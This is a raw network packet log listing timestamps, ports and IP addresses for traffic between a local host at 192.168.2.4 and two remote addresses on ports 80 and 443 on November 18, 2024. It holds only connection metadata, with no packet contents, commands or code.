Nov 18, 2024 23:04:13.162087917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.162097931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162107944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.162131071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162141085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.162163973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162197113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162220001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.162230015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162247896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.162303925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.162868023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162900925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162928104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.162935972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162949085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.162969112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.162990093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.163003922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.163012981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.163053989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.163573980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.163606882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.163640022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.163652897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.163652897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.163676023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.163708925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.163734913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.163762093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.167459011 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.170006037 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.170041084 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.170730114 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.170742989 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.192224026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.192295074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.192328930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.192389965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.192449093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.211987972 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.212060928 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.212177038 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.212196112 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.212263107 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.212583065 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.212625980 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.212655067 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.212670088 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.216434002 CET	49824	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.216486931 CET	443	49824	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.216582060 CET	49824	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.216811895 CET	49824	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.216840029 CET	443	49824	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.219295979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.219402075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.219444990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.219487906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.219527960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.219738007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.219772100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.219805002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.219825983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.219840050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.219862938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.219892979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.220293999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.220323086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.220377922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.220429897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.220474005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.220498085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.220531940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.220565081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.220585108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.220598936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.220627069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.220633984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.220659971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.220681906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.221379042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.221430063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.221446037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.221465111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.221477032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.221498966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.221534014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.221548080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.221580029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222024918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222059011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222084045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222095013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222098112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222127914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222165108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222179890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222198963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222212076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222250938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222718954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222750902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222784996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222803116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222817898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222835064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222851038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222872019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222883940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222892046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222935915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.222939014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.222984076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.223535061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.223568916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.223587036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.223603010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.223653078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.254960060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.255013943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.255047083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.255091906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.255130053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.278510094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.278597116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.278630018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.278695107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.278732061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.278776884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.278805971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.278877020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.278953075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.278986931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.279007912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.279031992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.279268026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.279330015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.279339075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.279373884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.279402971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.279406071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.279429913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.279448032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.279453993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.279500961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.279900074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.279932022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.279958010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.279968023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.279979944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.280016899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.280246973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.280302048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.280343056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.280375957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.280394077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.280432940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.280715942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.280749083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.280771017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.280781984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.280790091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.280817032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.280833960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.280869961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.281266928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.281301022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.281322956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.281335115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.281344891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.281385899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.281667948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.281701088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.281733036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.281754971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.281765938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.281779051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.281800985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.281817913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.281836033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.281840086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.281881094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.282363892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.282397032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.282419920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.282433033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.282438040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.282466888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.282484055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.282501936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.282522917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.282542944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.283061981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.283109903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.283117056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.283149004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.283158064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.283181906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.283200026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.283216000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.283222914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.283267021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.283798933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.283832073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.283855915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.283864975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.283874035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.283899069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.283915043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.283934116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.283945084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.283968925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.284019947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.302592993 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.302619934 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.302689075 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.302786112 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.302948952 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.302948952 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.302948952 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.305469036 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.305546045 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.305619955 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.305736065 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.305757999 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.312277079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.312308073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.312342882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.312375069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.312391996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.312396049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.313442945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.339334965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.339390993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.339423895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.339580059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.339581013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.339582920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.339617968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.339680910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.339940071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.339972973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.340023994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.340034008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.340058088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.340078115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.340096951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.340147972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.340550900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.340601921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.340634108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.340657949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.340692043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.340882063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.340936899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.341008902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341042995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341075897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341097116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.341109037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341142893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341164112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.341201067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.341758013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341789961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341824055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341856003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341873884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.341873884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.341891050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341923952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.341945887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.342745066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.342777967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.342806101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.342807055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.342827082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.342842102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.342849016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.342876911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.342890024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.342910051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.342926979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.342943907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.342976093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.342989922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.342989922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.343022108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.343725920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.343760967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.343785048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.343795061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.343815088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.343828917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.343837976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.343862057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.343879938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.343897104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.343918085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.343929052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.343944073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.343976974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.376483917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.376543045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.376574993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.376815081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.376815081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.390095949 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.393507004 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.393536091 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.393953085 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:13.393959999 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:13.398535967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.398611069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.398614883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.398631096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.398682117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.398757935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.398889065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.398910999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.398940086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.398964882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.399122000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.399144888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.399193048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.399337053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.399353027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.399415970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.399533987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.399553061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.399570942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.399588108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.399619102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.399631977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.399928093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.399975061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.400377035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.400482893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.400499105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.400532961 CET	49794	80	192.168.2.4	31.41.244.11
